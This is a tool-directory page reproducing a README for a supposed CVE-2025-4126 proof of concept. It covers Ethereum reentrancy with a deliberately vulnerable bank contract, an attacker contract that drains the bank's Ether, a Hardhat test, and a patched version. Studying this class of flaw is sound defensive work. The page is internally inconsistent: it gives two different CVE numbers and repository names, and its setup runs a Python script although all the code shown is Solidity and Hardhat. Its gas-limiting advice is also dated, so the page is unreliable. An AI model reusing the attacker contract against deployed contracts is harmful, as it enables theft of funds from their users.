Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-4126 — smart contract reentrancy attack vulnerability POC | Kitploit
Tools/GitHubGitHub/slow-mist/cve-2025-4126
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

smart contract reentrancy attack vulnerability POC

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

POC-CVE-2025-4126

smart contract reentrancy attack vulnerability 验证

Smart Contract Reentrancy Attack PoC

This repository contains a Proof of Concept (PoC) demonstrating a reentrancy attack vulnerability in Ethereum smart contracts. The PoC includes a vulnerable smart contract, an attacker contract, and instructions to reproduce the attack in a local test environment.

Table of Contents

  • Overview
  • Vulnerability Description
  • PoC Setup
  • Running the PoC
  • License

Overview

Reentrancy is a common vulnerability in Ethereum smart contracts where an external contract can make repeated calls back into the original contract before the first call completes, potentially draining funds or manipulating state. This PoC demonstrates how an attacker can exploit a vulnerable contract to steal Ether.

Vulnerability Description

The vulnerable contract (VulnerableBank) allows users to deposit and withdraw Ether. However, it does not properly handle state updates before making external calls, making it susceptible to reentrancy. The attacker contract (Attacker) exploits this by recursively calling the withdraw function to drain the contract's Ether balance.

Key Issue

  • The withdraw function in VulnerableBank sends Ether to the caller before updating the user's balance.
  • This allows the attacker's contract to call withdraw again in its fallback function, draining the contract's funds.

PoC Setup

To run this PoC, you need:

  • python3.x
  • pip3

Installation and Running

  1. Clone this repository:
    root@kitploit:~
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. run:
    root@kitploit:~
    python3 poc.py
    

PoC Code

Below are the two contracts used in this PoC:

VulnerableBank.sol

This contract simulates a simple bank that allows deposits and withdrawals but is vulnerable to reentrancy.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

This contract exploits the reentrancy vulnerability by recursively calling the withdraw function.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Hardhat Test Script

A Hardhat test script is included to automate the attack simulation.

root@kitploit:~
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

Expected Output

  • Initial bank balance: 10 ETH
  • Final bank balance: 0 ETH
  • Attacker balance: ~10 ETH (minus gas fees)

Mitigation

To prevent reentrancy attacks, consider the following best practices:

  1. Checks-Effects-Interactions Pattern: Update state (e.g., balances) before making external calls.
  2. Reentrancy Guard: Use a modifier (e.g., OpenZeppelin's ReentrancyGuard) to prevent recursive calls.
  3. Limit Gas: Restrict gas forwarded to external calls to prevent complex reentrancy logic.
  4. Use transfer or send: These methods limit gas, reducing the risk of reentrancy.

Example Fix for VulnerableBank.sol

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

License

This project is licensed under the MIT License - see the LICENSE file for details.

Download Tool